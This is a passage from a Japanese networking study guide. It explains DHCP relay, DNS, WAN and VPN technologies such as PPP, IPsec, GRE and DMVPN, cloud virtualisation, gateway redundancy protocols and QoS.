DHCPリレーエージェントはブロードキャストされたDHCP要求をユニキャストで転送する機能

DHCPクライアントはIPアドレスを取得するためにDHCP-DISCOVERメッセージをブロードキャスト送信する。 しかしルータのデフォルト動作ではブロードキャストを転送しないためルータに届いたDHCP-DISCOVERは破棄されてしまう。 そのためDHCPサーバとDHCPクライアントは同一セグメント内に置く必要がある

DHCPリレーエージェントを設定することで異なるセグメントのDHCPサーバが使用できるようになる

DHCPリレー

5.3. DNS

DNSはドメイン名とIPアドレスの対応情報を管理するシステムである。 TCP/IPではIPアドレスでサーバへアクセスを行うが、使い手の人間からすればわかりづらい。 そこでドメインという者を定義し、ドメイン名とそれに対応するIPアドレスを管理するサーバを用意することで、 ドメイン名とIPアドレスを解決する仕組みを提供します。

ドメイン名からIPアドレスを解決する、もしくはその逆は名前解決と呼ばれる。

なお1つのドメインに対するIPアドレスへの対応は、「1対1」 「多対1」 「1対多」のいずれも設定ができる。

5.3.1. DNSの構造

DNSはドメイン名とIPアドレスのデータを分散して管理が行われている。 ドメインの範囲を分けて分散管理するためにDNSは階層構造を取っている。

一番上の階層には「.」であらわされるルートドメインというものがあり、その下に「jp」「com」などのトップレベルドメイン、さらにその下に「co」「ne」などの第2レベルドメイン、その下に第3レベルドメインと続く構造となる。

ドメインレベル

ドメイン名

ドメイン情報を保持しているサーバは権威サーバと呼ばれる。 各DNSサーバは自分の階層を管理している1つ下の階層のサーバのIPアドレスを把握し、それ以外は把握していない。

5.3.2. DNSの動作

クライアントが名前解決を行う際に基本フローは以下の通り。

  1. クライアントはまずLAN内のDNSキャッシュサーバに問合せる。キャッシュとして対象の情報があればクライアントにIPアドレスを教える、ない場合はルートサーバに問合せる
  2. ドメイン名から各DNS権威サーバにLANのDNSサーバが問い合わせて最終的に名前解決を行う
  3. その後LAN内のDNSキャッシュサーバはIPアドレスのキャッシュを行う

5.3.3. DNSルックアップ

DNSルックアップはドメイン名からIPアドレスをと求める、またはその逆を行うこと。これによりホスト名でのTelnet接続などを可能にする。 DNSルックアップにおいてDNSサーバへIPアドレスを問い合わせ、ホスト名を得る方法はリバースルックアップ(逆引き)と呼ばれる。

  • DNSルックアップ:「ドメイン名→IPアドレス」or「IPアドレス→ドメイン名」
  • フォワードルックアップ:「ドメイン名→IPアドレス」
  • リバースルックアップ:「IPアドレス→ドメイン名」

5.3.4. ネームリゾルバ

ネームリゾルバとは名前解決を行うソフトウェアのこと。 ネームリゾルバはDNSクライアントの要求に応じてDNSサーバに名前解決の問い合わせを行う。

6.1.6 - 6.WAN・VPN・クラウド

WANやVPNなどの技術に関して

6.1. WAN

WANは広範囲ネットワークを指し、管理は国や自治体から許可を得てケーブルや機器を設置している通信事業者(キャリア)が管理を行っているため、利用にはそのサービスを利用する。

WANサービスの種類には専用線サービス回線交換サービスパケット交換サービスがある。

サービス説明プロトコル
専用線サービス専用線サービスでは1対1で接続し、回線を占有できる形の利用サービスPPP, HDLC
回線交換サービス電話網の公衆交換電話網(PSTN)を利用するサービス-
パケット交換サービスインターネットVPN広域イーサネットなどがあり、回線は他ユーザと共有するEhternet, IP

なおパケット交換サービスは以下のように細分化される。

サービス説明プロトコル
広域イーサネット(イーサネットWAN)イーサネットインターフェイスの使用、専用線より高速通信が可能、プロバイダ独自回線を使用Ethernet
インターネットVPNイーサネットインターフェイスの使用、公衆回線を仮想的な専用線のように利用IP

広域イーサネットの主なサービスにはEoMPLS(Ethernet over MPLS)などがある。

6.1.1. WANの構成

WAN構成

6.1.1.1. DTE

DTEは顧客の企業などのLANに構築される機器でDCE経由で通信事業者のネットワークに接続して通信を行う。 DTEは実際の通信やデータなどの送信を行うルータやコンピュータなどの機器がDTEに該当する。

6.1.1.2. DCE

DCEは通信事業者のネットワークに接続するための機器を指す。DCEはWAN種類により異なる。

種類説明
DSUデジタルネットワークでの利用
モデムアナログネットワークでの利用
ONU光ネットワークでの利用

6.1.1.3. ローカルループ(アクセス回線)

ローカルループ(アクセス回線)は利用客設備と通信事業者のネットワークの設備との責任境界線(責任分界点)を指す。実際には通信事業者から借りているDCEから通信事業者の基地局の回線までを指す。

ローカルループネットワーク網末端機器
デジタルローカルループISDNDSU
アナログローカルループ PSTN(公衆交換電話網)モデル

6.1.2. WANのトポロジ

6.1.2.1. ポイントツーポイント

1対1で接続するトポロジ。

6.1.2.2. フルメッシュ

複数の拠点を接続するトポロジ。 どこかの拠点で影響が発生しても拠点間通信に影響しない。 デメリットとして契約すべき回線数が拠点数が増えるにしたがって増大するため費用が高額になる。

6.1.2.3. パーシャルメッシュ

フルメッシュと異なり重要拠点のみをメッシュ状にするトポロジ。 契約すべき回線数を減らすことができるメリットがある。

6.1.2.4. ハブアンドスポーク

中心となる拠点から拠点に対し接続するトポロジ。 中心となる拠点がハブ、その他の拠点がスポークとなる。 ハブがダウンすると他の拠点と通信ができなくなる特徴がある。

6.1.3. 拠点間の接続

拠点間の接続には以下のようなサービスが使われる。

  • インターネット
  • 専用線
  • VPN
  • 広域イーサネット(イーサネットWAN) など

WAN接続

6.1.4. ISPとの接続形態

企業などの組織や家庭でISPと契約してインターネットに接続する場合、いくつかの接続パターンがある。 具体的には接続パターンは「ISPとの接続リンク数」と「接続するISP数」の組み合わせで決定する。

6.1.4.1. シングルホームとデュアルホーム

同一ISPとの接続リンク数によって分類する。

  • シングル:ISPと1本のリンクで接続する
  • デュアル:ISPと2本以上のリンクで接続する

6.1.4.2. シングルホームとマルチホーム

接続するISPの数によって分類する。

  • シングル:単一のISPのみと接続する
  • マルチ:複数のISPと接続する

シングルマルチ

6.2. WANのプロトコル

WANのプロトコルにはHDLCPPPフレームリレーがある。

6.2.1. HDLC

HDLCはISOにより標準化されたポイントツーポイントで使用されるプロトコル。

HDLCヘッダ

Cisco社製デバイスのシリアルインターフェースではデフォルトでHDLCにてカプセル化を行うようになっている。

またHDLCのフレームにはネットワーク層のプロトコルを識別するフィールドがないため各ベンダーは独自仕様でHDLCを実装する。 Ciscoの場合はISO標準のHDLCにタイプフィールドを追加したHDLCを使用している。

6.2.2. PPP

PPPはポイントツーポイントで使用されるプロトコル。 PPPはダイヤルアップ接続の電話に利用してインターネット接続するダイヤルアップ接続にも利用されている。 また標準化されているためデータ部のプロトコルを識別するフィールドがあるため、ベンダーの異なる機器間でも接続通信が可能。

6.2.2.1. PPPの機能

PPPにはユーザ認証圧縮機能、また複数のPPPリンクを1つとして扱うマルチリンク機能エラー検出機能がある。

RFCの定義ではPPPの構成要素は以下で定義される。

  • 複数プロトコルのカプセル化
  • リンク制御プロトコル
  • ネットワーク制御プロトコル

PPPのカプセル化

PPPでは複数のプロトコルがカプセル化できる。

PPP

プロトコルフィールドにはデータ部にカプセル化している上位層のプロトコルの識別子が入る。

リンク制御のプロトコル

PPPではリンク制御プロトコル(LCP)でリンクの通信設定/確立/終了等を処理する。

ネットワーク制御プロトコル

PPPではネットワーク制御プロトコル(NCP)でネットワーク層のプロトコルの設定を行う。 ネットワーク層のプロトコルごとにNCPがありIPにはIPCPが使用される。

6.2.2.2. PPPの認証

PPPの認証機能の利用は任意だが、認証時は以下プロトコルのいずれかが使用される。

6.2.2.2.1. PAP

PAPでは2ウェイハンドシェイクで身元確認を行う。 PAPでは平文でユーザ名とパスワードが送信されるため安全な認証プロトコルとは言い難い。

PAP

6.2.2.2.2. CHAP

CHAPでは3ウェイハンドシェイクで身元確認を行う。 CHAPの場合ユーザ名とパスワードを直接送信せずに、認証側がチャレンジメッセージという乱数を送信し、受信側(認証される側)はその値とパスワードを基にハッシュ関数を用いて計算し、その結果を返送する。認証側もこの値をハッシュ関数で計算を行い、その値と送られた値を比較して同じであれば認証する。

パスワード解析される危険性はないためPAPより安全な認証方法となる。

CHAP

6.2.3. PPPのフェーズ遷移

PPPではリンク確率から接続までにいくつかのフェーズがある。

PPP接続

6.2.3. フレームリレー

フレームリレーはX.25というWANサービスからエラー訂正機能を取り除いたWANサービス。 フレームリレーはエラー訂正、確認応答、再送制御等を行わないため高速なデータ伝送が可能。

ちなみに現在の企業ネットワークでは使用されていない。

フレームリレーではHDLCを拡張したLAPFというプロトコルがデータリンク層で使用されている。

6.3. 専用線

6.3.1. 専用線の特徴

専用線は拠点間の接続をするためのサービス。 帯域が完全に保証されているため通信品質の安定が見込め、信頼性やセキュリティも高いサービスとなる。

ただし他のWANサービスに比べると高額となる。 特徴としては以下の通り。

  • 帯域幅が完全に保証
  • 通信品質/セキュリティが高い
  • メンテナンス/設置に関する専門的技術の要求が少ない
  • 1対1の接続となる

また専用線ではデータリンクのプロトコルではHDLCまたはPPPが使用される。

6.3.2. 専用線の種類

専用線には様々なニーズにあわせたサービスを提供できるように様々な種類がある。

種類伝送速度
T4274.176Mbps
T344.736Mbps
T26.312Mbps
T11.544Mbps

6.4. VPN

最近は拠点間の接続を行う際によく利用されるのがVPNとなっている。 VPNは各拠点のプライベートネットワークが直接つながっているように見せかけることが可能。

VPNには以下の特徴がある。

  • 拠点間通信を安全にする
  • コストを専用線などよりも抑えることができる
  • 拡張性が高い

6.4.1. VPNの種類

6.4.1.1. インターネットVPN

インターネットを利用するVPNサービス。 インターネット上の回線で仮想的な専用線接続を行うことで拠点間を安全に接続する。 インターネットに接続するルータをVPN対応のものに替える必要があるが、インターネット回線自体はそのまま利用できる。

低コストでVPNを構築できる一方、パブリックインターネットをデータが通過するため暗号化が必要となる。 なお帯域幅はインターネットを利用するため常に保証されない、そのため速度の安定化は望みにくい。

6.4.1.2. IP-VPN

通信事業者が用意した閉域網を使用するVPNサービス。 インターネットとは別で隔離されているネットワークなため一般ユーザがアクセスすることはない。インターネットVPNよりも安全に利用でき、専用線よりは安価となる。

IP-VPNでは他の契約者と通信が混在して届かないようにMPLSという技術で宛先の識別を行う。またIP-VPNではインターネットVPNと異なり帯域が保証される場合もある。

またネットワーク層のプロトコルはIPしか利用できない。

6.4.2. MPLS

MPLSは現在のWANサービスのほとんどに使われている技術。 MPLSでは4Byteの固定量ラベルをつけ、それに完全一致するネクストホップをLFIBから検索を行ってからパケット転送する。 これにより転送処理の高速化を実現している。

わかりやすく言うとレイヤ2ヘッダとレイヤ3ヘッダの間にラベルと呼ばれるタグを付加する技術である。 またMPLSはIPv4やIPv6などさまざまなプロトコルをサポートしている。 最近ではMPLSはQoSの実装やIP-VPN網での顧客識別に利用されている。

MPLS

またMPLSでは顧客側のルータはCE(Customer Edge)と呼ばれ、サービスプロバイダ側のルータはPE(Provider Edge)と呼ばれる。またPE-CE間の回線はアクセス回線と呼ばれる。

CE-PE

6.4.3. インターネットVPNの種類

6.4.3.1. サイト間VPN

サイト間VPNは拠点間のLAN接続のためのVPN接続を指す。 それぞれの拠点にVPN対応ルータを設置し、VPN設定を行うことでトンネルが生成され暗号化や複合化の処理が行われる。なおトンネリングにはIPsecが使用される。

サイト間VPN

6.4.3.2. リモートアクセスVPN(クライアントVPN)

リモートアクセスVPNはモバイル端末などが社内ネットワーク等に接続するためのVPN接続を指す。 これには拠点にVPNアクセスを受け付ける機器が必要で、アクセスするクライアント端末にVPN接続の専用ソフトウェアをインストールする必要がある。 IPsecやSSL/TLSを使ったVPN(SSL/TLS VPN)接続を行う。

Cisco製品ではCisco AnyConnect Secure Mobility Client(Cisco AnyConnect)とファイアウォール製品であるASAの接続で、SSL/TLS VPNを使用している。

また一般的にSaaS企業が行う一般C向けのVPNを提供するサービスはこのクライアントVPNである。

クライアント間VPN

6.4.4. VPNの技術

6.4.4.1. トンネリング

トンネリングは通信したい端末間にネットワーク上に仮想の専用線を作成するもの。 トンネリングでは通信相手と通信するためのパケットを別のプロトコルのデータ部にカプセル化して隠ぺいする。

トンネリング

6.4.4.2. 暗号化

トンネリングでカプセル化しただけでは盗聴されるとパケットの中身が解析できてしまう。 そのため元のパケット自体を暗号化することで情報を隠蔽する。

なお暗号化はデータを送信する際に送信元の拠点ルータで行われ、宛先の拠点のルータで複合を行う。

6.4.5. トンネリングのプロトコル

6.4.5.1. PPTP

PPTPはPPPを拡張したプロトコル。 PPTPには暗号化機能がないのでMPPEという暗号化プロトコルと組み合わせて利用する。

6.4.5.2. L2TP

L2TPはデータリンク層のプロトコル。 L2TPには暗号化機能がないのでIPsecと組み合わせて使用される。

6.4.5.3. IPsec

IPsecはIPを使った通信でセキュリティを確保するための規格インターネットVPNでよく利用される。 IPsecで実現できる機能には以下のようなものがある。

  • 完全性
  • 機密性
  • データ発信元の認証
  • アンチリプレイ

IPsecはトンネリングと暗号化の両方の機能を備えているが、IPsec単体ではユニキャストのパケットしか転送できない特徴がある。 またAHESPという2つのセキュリティプロトコルから成り立つ。

プロトコル機能
AH認証機能と未改竄の保証
ESPAHの機能+暗号化
IKE共有鍵の交換を安全に行う

またIPsecにはトランスポートモードトンネルモードの2つがある。

現在は通信モードはトンネルモードが主流となっており、パケットの暗号化にはESPが利用される。

IPsecモード

  • トランスポートモード:IPヘッダの暗号化は行わない
  • トンネルモード:IPヘッダを含めたパケットの全体を暗号化する

6.4.5.4. PPPoE

PPPoE(PPP over Ethernet)はPPPの機能をEthernet上で利用できるようにしたプロトコルを指す。 PPPoEはPPPをカプセル化してEthernet上で伝送する。

6.4.5.5. PPPoA

PPPoAはATM(Asynchronous Transfer Mode)のネットワーク上でPPPをカプセル化する技術。

6.4.6. その他のVPN

6.4.6.1. SSL-VPN

SSL-VPNはSSLを利用した暗号化技術。 このタイプのVPNの利用には接続受けする機器(サーバ等)にSSL-VPN対応機器が必要。 なお接続側には不要となる。

また、この技術はリモートアクセスVPNに適した技術といえる。

6.4.6.2. 広域イーサネット(イーサネットWAN)

広域イーサネットは拠点間を接続するためのサービス。 具体的には通信事業者が管理する広域イーサネット網を使用し、データリンク層のプロトコルはイーサネットで通信する。 また共有ネットワークでもある。

IP-VPNではインターネット層のプロトコルはIPしか利用できないが、広域イーサネットではIP以外のネットワーク層のプロトコルで拠点間通信を行うことが可能。

一般的にはイーサネットインターフェスを備えた一般的なルータやスイッチで使用することが可能。

広域イーサネットは共有ネットワークであるため、通信の混雑防止のためにVLANタグを付加する。 しかしながら各拠点のLAN内でVLANを使用している場合もVLAN識別にVLANタグが使われる。その状態で広域イーサネットを使用するとVLANタグが上書きされてしまう問題がある。 そのため広域イーサネットでは銃でVLANタグを付加できる技術が使用されている。またIP-VPNで通信識別するための技術であるMPLSベースのEoMPLSという技術も併せて使用されている。

専用線よりもコストや拡張性面、速度で有利なサービスといえる。

6.4.6.3. IEEE 802.1Qトンネリング

IEEE802.1QトンネリングはVLANタグを二重に付与することで組織ごとに通信を分断する技術

同一VLANを複数の組織が使用しているときに組織ごとに通信を分断するためISPで主に使用される。

6.4.6.4. GET VPN(Group Encrypted Transport VPN)

GET VPNはトンネルを使用せずVPN接続を可能にする技術

GET VPNでは、KS(Key Server)と呼ばれるセキュリティポリシーを管理する役割のルータが通信の暗号化および復号化に必要な共有キーを所持する。

各VPN拠点のルータはKSからキー受け取り、そのキーを使用して暗号化された通信を行うためトンネルを使用せず安全なVPN接続が可能となる。

特徴は拠点の追加や管理が容易大規模なネットワークに適している点である。

6.4.7. GRE

GRE(Generic Routing Encapsulation)はトンネリングプロトコルの1つである。

GREトンネリングでは通信したいL3(ネットワーク層)のプロトコルを他のネットワーク層のプロトコルでカプセル化する。

またGREの特徴は以下のものがある。

  • マルチプロトコルへの対応
  • マルチキャスト/ブロードキャストのパケットのトンネリングが可能
  • IPsecと異なりセキュリティ機能が存在しない
  • 動的ルーティングをサポートする

マルチプロトコルへの対応

構造としてはIP以外のプロトコルのパケットにGREヘッダを付加し、それにデリバリヘッダ(例えばIPヘッダ)等を付加して損層が行われる。

マルチキャスト

マルチキャスト/ブロードキャストのパケットのトンネリングが可能

GREを利用したパケットのカプセル化ではマルチキャストやブロードキャストの通信をユニキャスト化することができる。 なおIPsecでは上記を行うことはできない。

1つの拠点で接続するクライアント数が多い場合Staticルーティングは手間がかかるため不向きで、Dynamicルーティングが適している。 このケースはDynamicルーティングのルーティングプロトコルをGREでカプセル化し、IPsecのトンネリングで転送すると拠点間でルート情報を安全に交換することが可能。

IPsecと異なりセキュリティ機能が存在しない

GREは暗号化機能がないため暗号化されない。 そのため暗号化を行う場合IPsecと組み合わせたGRE over IPsecを用いる。

6.4.7.1. GREトンネリング

GREトンネリングは以下の図のようになる。

GREトンネリング

6.4.8. VPNの構築手法

6.4.8.1. GRE over IPsec VPN

GRE over IPsec VPNはGREとIPsecを組み合わせてVPNを構築する方法。 特徴は以下の通り。

  • IPsecのセキュリティ機能
  • GREのマルチキャストに対応可能

上記メリットを兼ね備えたVPNを構築可能となっている。

6.4.8.2. DMVPN(Dynamic Multipoint VPN)

DMVPNはCISCO独自の複数の拠点を接続するVPNの設定作業を簡略化する設計。 特徴は以下の通り。

  • ハブアンドスポーク構成を取る
  • ハブルータの暗号化にかかる処理負荷を減らすことが出来る

スポーク拠点間の通信時はスポーク拠点同士で動的にGRE over IPsecトンネルを作成することができるため、ハブルータの暗号化処理を削減できる。

DMVPNを構成する技術要素としては以下のものがある。

  • mGRE … 複数のポイントと接続するGREトンネル
  • NHRP … 宛先アドレスを自動的にマッピングする
  • IPsec …(オプション)GREトンネルの暗号化
要素説明
mGRE(Multipoint GRE)1対多で接続可能なGREトンネル。トンネル識別用のキーによって接続すべきトンネルを判断する。
NHRP(ネクストホップ解決プロトコル)ある通信のネクストホップとなる宛先IPアドレスを解決するためのプロトコル
IPsecIPパケットの改ざん防止、暗号化を提供するプロトコル

6.5. クラウド

クラウドはコンピュータ/ネットワーク資源の利用形態の1つである。正式にはクラウドコンピューティングと呼ぶ。

クラウドではクラウドサービス事業者が用意した大規模のデータセンターにある多数のサーバ上に構築されたリソースを、インターネットを介して利用者が使うものとなる。 メリットとしてはソフトウェアの購入/インストール/更新、メンテナンスなど管理にかかる費用を削減できる。

クラウドで提供されるサービスにはアプリケーションの機能を提供するもの(SaaS)、アプリケーションの実行基盤を提供するもの(PaaS)、オンラインストレージ、データベース、仮想マシンなどの基盤構築環境自体を提供するもの(IaaS)などがある。

自前で社内などに物理的なサーバやネットワークなどのリソースを構築/運用/配置することはオンプレミスと呼ばれる。

6.5.1. クラウドの技術

クラウドは仮想化と呼ばれる技術が根幹技術となっている。

6.5.1.1. 従来のオンプレミスサーバ

仮想化技術登場以前では1台の物理的なマシンに1つのOSをインストールしてサービスを展開するのが主流の方式であった。

この当時は異なるOSを扱いたい場合その数分だけサーバ台数が増えてしまい導入コスト/運用保守コストが増大する問題があった。

6.5.1.2. 仮想サーバ

仮想化されたサーバでは1つの物理サーバ上に複数の異なるOSを動かすことができる。

仮想化基盤にはハイパーバイザ型ホスト型コンテナ型がある。

仮想化基盤

ハイパーバイザ型

ハイパーバイザ型では仮想マシンが動く。 また代表的な技術と種類の関係は以下の通り。

技術/製品種類特徴
Vmware ESXI/vSphereハイパーバイザ型vSphereは仮想マシンの管理、クラスタリング、リソースプールなどの高度な機能を提供する
Proxmox VEハイパーバイザ型KVMとLXCを組み合わせたOSSの仮想化プラットフォーム。Webベースの管理インターフェースを備えている
Hyper-Vハイパーバイザ型Windows Server上で動作する
Xenハイパーバイザ型OSSの仮想化プラットフォーム。ハードウェア支援仮想化を提供する
KVMハイパーバイザ型Linuxカーネル内に組み込まれた仮想化技術。Linuxサーバー上で仮想マシンを実行するために使用される。
Virtual Boxホスト型ホストOS上で動作する。仮想マシンを作成し実行できる
VMware Playerホスト型VMware Workstation Playerとも呼ばれる
LXCコンテナ型プロセス間の仮想化を使用してコンテナを提供するOSSの仮想化技術
Dockerコンテナ型アプリケーションをコンテナとしてパッケージ化し簡単にデプロイできるようにする。軽量でポータブル

6.5.2. クラウドのサービス形態

6.5.2.1. プライベートクラウド

プライベートクラウドは企業や機関専用のクラウドとして利用する形態を指す。

クラウド事業者のクラウド内にその企業専用のクラウドを構築するケースもある。 導入コストはパブリッククラウドよりも上がるが、セキュリティの向上や企業独自の基盤に合わせやすいメリットがある。

6.5.2.2. パブリッククラウド

パブリッククラウドは利用者を限定せずに個人や複数ユーザ/企業・機関に向けてクラウド機能を提供する形態を指す。

クラウド機能と代表的なサービスは以下より。

種類代表的サービス説明
SaaSICloud, Microsoft Officeサーバからアプリケーションまでを含めたサービスの提供
PaaSFirebase, Herokuアプリケーションの開発基盤/ミドルウェアの提供
IaaSAWS, GCP, Azure, Alibaba Cloud物理サーバ, ネットワーク, OS等のインフラ部分のリソースのみの提供

6.1.7 - 7.回線冗長化・QoS・死活監視

回線冗長化技術・QoS・死活監視の技術に関して

7.1. HSRP

7.1.1. ファーストホップルータの冗長化

PCが異なるネットワークの端末と通信を行う場合必ずデフォルトゲートウェイを通過する。 デフォルトゲートウェイは最初に通過するルータであることからファーストホップルータとみなされる。

そのためデフォルトゲートウェイの冗長を行うことで耐障害性が見込める。 デフォルトゲートウェイを冗長化してデフォルトゲートウェイに設定したルータに障害が起きた際に予備のデフォルトゲートウェイにしたルータに変更するのは手間となる。 そのため冗長化のために用意したファーストホップルータを活用するためのプロトコルにCISCO社独自のHSRPGLBP、標準化されたVRRPがある。こうしたDGWを冗長化するプロトコルはFHRPと総称される。

これらを利用するとデフォルトゲートウェイの設定を変更せずとも切り替えができる。

7.1.2. HSRPの概要

CISCO社が開発したプロトコルでルータの冗長化を行うためのもの。 複数存在しているルータを1つに見せかけることができる。

複数のファーストホップルータを含む共通グループはHSRPスタンバイグループと呼ばれる。 このHSRPスタンバイグループは0~255の番号で管理が行われる。

またHSRPスタンバイグループには仮想IPアドレスが割り当てられる。この仮想IPアドレスは仮想ルータのIPアドレスであり、クライアント側でこのIPアドレスをデフォルトゲートウェイとして設定する。 また仮想IPアドレスだけではなく仮想MACアドレスも用意されている。なお仮想MACアドレスの前半5オクテットは0000.0C07.ACと決まっている。

HSRPスタンバイグループの中でプライオリティが最も大きいルータがアクティブルータに選出され転送処理などを行う。 また2番目に大きいルータがスタンバイルータとなりアクティブルータのバックアップとなる。

7.1.3. HSRPの動作

HSRPの動作ステップ

HSRPの動作は以下ステップで行われる。

  1. Helloパケットを224.0.0.2にマルチキャストで送信しHSRP情報の交換をルータ間で行う(Helloパケット送信間隔は3秒)
  2. アクティブルータ/スタンバイルータをプライオリティ値から選出する
  3. ルータの役割決定後はHelloパケットによる生存確認。アクティブルータ/スタンバイルータのみが送信、他ルータはListen状態で受け取り待ち状態となる。なおスタンバイルータは10秒間Helloパケットをアクティブルータから受け取らない場合に自身をアクティブルータにする。

HSRP

HSRPの状態遷移

HSRPが動作してルータの役割が決まるまでいくつかの状態を遷移する。

状態定義
Initial最初の状態(HSRP設定直後)
LearnルータがアクティブルータからHelloパケットを受け取っていない(仮想IPアドレスを認識していない)
Listenルータの役割が決まらなかったルータの状態(Helloパケットを受信している、仮想IPアドレス決定済)
SpeakHelloパケットを送信してルータの役割選出を行っている状態(HSRP状態を通知)
Standbyスタンバイルータの状態(Helloパケットを送信する)
Activeアクティブルータの状態(Helloパケットを送信する)

7.1.4. HSRPの機能

HSRPの基本動作の機能の他にプリエンプトインターフェイストラッキングと呼ばれる機能がある。

7.1.4.1. プリエンプト

プリエンプトはプライオリティが大きいルータを常にアクティブルータにする機能のこと。 これはデフォルトのアクティブルータのほうが性能の良い場合にスタンバイルータがデフォルトゲートウェイとして使われてしまうのを回避するためのものです。

7.1.4.2. インターフェイストラッキング

インターフェイストラッキングはHSRPを動作させているインターフェイス以外を追跡し、そのUP/DOWNの状態によりプライオリティを変更する機能となっている。 これは他のネットワーク側のHSRPを実現したルータ群のポートに障害が発生した際に、LAN側ではHelloパケットの送受信ができてしまうため障害検知せず、異なるネットワーク側に通信が遅れなくなりデフォルトゲートウェイの機能を果たせなくなる問題を回避するためのもの。

7.1.4.3. HSRPの認証機能

HSRPの認証機能にはパスワードを暗号化しないプレーンテキスト認証と暗号化するMD5認証の2種類がある。

7.1.4.4. HSRPのバージョン

HSRPは2つのバージョンがある。

項目HSRP version1HSRP version2
Helloパケットの宛先224.0.0.2224.0.0.102
グループ範囲0~2550~4095
仮想MACアドレス0000.0C07.AC○○*0000.0C9F.F○○○*
IPv6のサポートなしあり

7.1.5. HSRPの負荷分散

HSRPではスタンバイグループに複数ルータを用意してもデータ転送を行うのは1つのアクティブルータのみとなる。 アクティブルータとスタンバイルータの2つが稼働し他のルータは待ち状態となる問題がある。

MHSRPは待ち状態となっているルータ以外も活用できるための仕組みで各ルータを複数のスタンバイグループに参加させ、アクティブになるルータをそれぞれのグループで変えることで負荷の分散を行うというものである。

7.1.6. GLBPとVRRPの特徴

7.1.6.1. GLBP

GLBPはルータを冗長化するためのCISCO社独自定義のプロトコル。 HSRPが負荷分散を行う際に複数のグループが必要なのに対し、1つのグループで負荷分散が可能な特徴がある。

GLBPグループは1023まで作成可能で、GLBPは仮想MACアドレスが最大4つ使用することができる。 仮想MACアドレスは0007.B40X.XXYYで表記でき、X部にGLBPグループを16進数に変換した値が、Y部に01~04までの値が入る。

GLBPではグループ内ルータからAVG(Acitive Virtual Gateway)、最大4つのAVF(Active Virtual Forwarder)を選出する。 またプライオリティに1~255の値を設定でき、AVFは最大4つまで選出される。

7.1.6.2. VRRP

VRRPはルータの冗長化のためのプロトコルでHSRPと異なり様々なベンダー機器で使用することができる。 HSRPと似た動作だが、以下動作に違いがある。

  • アクティブルータの名称がマスタールータ
  • マスタールータではない残りのルータはすべてバックアップルータ(マスタールータの予備)
  • 仮想IPアドレスに実際に割り当てられているIPアドレスを設定可能
  • 仮想MACアドレスが0000.5E00.01

7.1.7. HSRP/GLBP/VRRPの違い

項目HSRPGLBPVRRP
規格Cisco独自規格Cisco独自規格標準化
ルータの役割アクティブルータ、スタンバイルータAVG, AVFマスタールータ, バックアップルータ
グループ番号255まで1024まで255まで
負荷分散サブネット単位で可能ホスト単位で可能サブネット単位で可能
仮想MACアドレス0000.0C07.ACXX0007.B40X.XXYY0000.5E00.01XX
Helloパケットの宛先224.0.0.2224.0.0.102224.0.0.18

7.2. QoS

7.2.1. QoSの概要

QoSは特定のパケットを優先的に処理したり帯域幅の確保を行う技術のこと。 QoSによりパケットの重要度により優先的に転送するといったことが可能。

QoSをネットワークに取り入れることで、IP電話(VoIP)の通話品質の向上などのメリットがある。

7.2.2. QoSのアーキテクチャ

QoSを実現するためのアーキテクチャにはベストエフォートIntServDiffServの3つがある。

7.2.2.1. ベストエフォート

パケット優先順を気にせず先に来たものを先に出すアーキテクチャ。 品質保証はされないQoSのデフォルトの挙動。

7.2.2.2. IntServ

アプリケーションのフローごとにエンドツーエンドのQoSを提供するモデル。 フローが必要とする帯域をあらかじめ予約しておくアーキテクチャとなる。 フローごとに帯域を予約するためにRSVP(Resource reSerVation Protocol:リソース予約プロトコル)というプロトコルが使用されて送信元から宛先までの各機器で帯域を確保する。

各アプリケーションが必要とする帯域幅を経路上のデバイスに予約するのでエンドツーエンドのQoSを提供できる反面、拡張性が低いという特徴を持つ。 現在では規模が大きくなった際のRSVP自体が負荷になる問題や運用しづらいことから普及していない。

7.2.2.3. DiffServ

パケットをクラスに分類・マーキングし、クラスごとに優先度を提供するモデル。 各ルータやスイッチごとにパケットの優先順位に基づいて区別し転送処理を行うアーキテクチャとなる。

一般的にQoSといえばこのモデルのことを指す。 各デバイスが独自に処理を行えるため拡張性が高いという特徴を持つ。

DiffServのQoSの仕組みは以下のように行われる。

  1. マーキング
  2. ポリシング/シェーピング
  3. キューイング/スケジューリング
  4. 輻輳管理

7.2.3. QoS実現のための機能

QoSを実現するための機能はQoSツールと呼ばれ以下のようなものがある。

  • 輻輳管理(分類、マーキング、キューイング/スケジューリング)
  • 輻輳回避(RED、WRED)
  • 帯域制御(シェーピング、ポリシング)

7.2.3.1. 輻輳管理

輻輳管理では以下の内容を行う。

  • 分類:QoS適用対象となるパケットを分類する
  • マーキング:分類されたパケットに優先度識別用の印を付ける
  • キューイング:パケットに付けられたマークを使って、それぞれの優先度に応じたキュー(パケットを溜めるバッファ)に格納する
  • スケジューリング:各キューからデータを取り出して送信する

なお分類とキューイングは信頼境界で行われる。 信頼境界となる機器(アクセススイッチやIP電話など)では受信したパケットにすでに施されているマーキングを無視し、改めてQoSポリシーに従って分類、マーキングを行うことで適切なQoSを実現する。

信頼境界 : QoS対象となるパケットがネットワークに入ってくるエッジのこと

7.2.3.2. 輻輳回避

輻輳回避は輻輳(大量パケット到着により送受信できなくなる状態)が発生する前にキューに待機しているパケットをドロップする機能のこと。

輻輳回避するための機能にはRED(Random Early Detection:ランダム早期検出)やWRED(Weighted RED:重み付けランダム早期検出)などがあります。

方式説明
RED(ランダム早期検出)キューがいっぱいになる前にランダムにパケットを破棄する方式
WRED(重み付けランダム早期検出)パケットの優先順位を考慮したREDの方式

7.2.3.3. 帯域制御

帯域制御はシェーピングポリシングを使って行われる。

主に大規模ネットワークでは、主にWAN境界でQoSを適用する。 これは一般的にLAN側の速度(例:GigabitEthernet)よりもWAN側の回線速度(例:15Mbps)のほうが遅い、あるいはWAN回線の速度と接続するインターフェースの速度が異なる場合、容易に輻輳が発生するためとなっている。 特にサービスプロバイダが指定したCIR(Committed Information Rate:最低保証速度)を超えて送受信したデータは、輻輳時に破棄される可能性が高くなります。

7.2.4. 分類 - 輻輳管理

分類とは指定した条件によってQoSの対象となるパケットを分類することを指す。 分類の方法には以下方法が使用される。

  • 拡張アクセスリストを使用する
  • NBAR(Network Based Application Recognition)を使用する

7.2.4.1. 拡張アクセスリストを使用した方法

拡張アクセスリストを使った場合、パケットのヘッダにある以下の情報を使った分類が可能となる。

  • IPプロトコル番号
  • 送信元/宛先アドレス
  • 送信元/宛先ポート番号

7.2.4.2. NBARを使用した方法

NBAR(アプリケーションを識別する機能)を使った場合はパケットをアプリケーションごとに分類することが可能となる。

